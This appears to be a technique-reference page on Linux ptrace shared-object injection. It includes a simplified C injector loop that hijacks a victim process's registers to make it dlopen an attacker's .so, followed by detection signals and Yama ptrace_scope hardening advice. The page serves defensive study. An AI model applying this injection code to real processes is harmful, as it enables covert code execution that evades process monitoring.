Skip to content

ptrace Shared-Object Injection

Attaching to a running process with ptrace and hijacking its execution to call dlopen on an attacker-supplied .so — the Linux analogue of Windows CreateRemoteThread DLL injection.

ptrace is the Linux syscall debuggers use to attach to, inspect, and control another process — the same primitive gdb builds on. An injector attaches to a target with PTRACE_ATTACH, waits for it to stop, reads and rewrites its register state and stack, then resumes it so its next instruction calls __libc_dlopen_mode (libc's internal dlopen) with the path of an attacker-supplied shared object as its argument. The target process loads and runs the .so itself — there is no new process on disk, and no execve for a process-monitoring tool to catch.

How it works

The injector's core loop, simplified:

c
long target_pid = /* victim PID */;
ptrace(PTRACE_ATTACH, target_pid, NULL, NULL);
waitpid(target_pid, NULL, 0);

struct user_regs_struct regs, saved_regs;
ptrace(PTRACE_GETREGS, target_pid, NULL, &regs);
saved_regs = regs;

// Write the malicious .so path into the target's own stack
poke_string(target_pid, regs.rsp - 128, "/tmp/.hidden/evil.so");

// Redirect execution to __libc_dlopen_mode(path, RTLD_NOW)
regs.rip = dlopen_addr;          // resolved from the target's own libc mapping
regs.rdi = regs.rsp - 128;       // arg 1: path
regs.rsi = RTLD_NOW;             // arg 2: flags
ptrace(PTRACE_SETREGS, target_pid, NULL, &regs);
ptrace(PTRACE_CONT, target_pid, NULL, NULL);   // let dlopen() run

// ...wait for it to return, then restore saved_regs and detach
ptrace(PTRACE_SETREGS, target_pid, NULL, &saved_regs);
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);

Because the call target (__libc_dlopen_mode) is resolved from the victim's own already-loaded libc, the injector needs no code of its own to run inside the target beyond the register redirection — libc's real loader does the mapping and symbol resolution, exactly as it would for a legitimate dlopen call.

Detection & analysis

Static analysis: An injector binary imports ptrace and either process_vm_writev or writes through /proc/<pid>/mem, usually alongside hard-coded offsets or symbol lookups for __libc_dlopen_mode. A dropped .so with no normal entry-point convention beyond a __attribute__((constructor)) function is a strong companion tell — its only job is to run once at load time.

Dynamic analysis: Auditd or eBPF-based monitoring that logs ptrace syscalls with the PTRACE_ATTACH/PTRACE_POKETEXT/PTRACE_SETREGS requests against a target PID that is not the tracer's own child is the direct behavioural signal — legitimate use (debuggers, strace) typically attaches to processes it spawned itself. After injection, /proc/<pid>/maps shows a new .so mapped from an unusual path (/tmp, /dev/shm) with no corresponding entry in the process's original command line or ld.so cache.

Detection rule hint: Enable the kernel's Yama ptrace_scope restriction (kernel.yama.ptrace_scope = 1 or higher), which by default blocks a process from ptrace-attaching to anything except its own descendants and breaks this technique outright. Alert on ptrace(PTRACE_ATTACH, ...) calls where tracer and parent-of-tracee differ, and diff /proc/<pid>/maps snapshots over time for unexplained new library mappings in a long-running process.

Votes

Comments(0)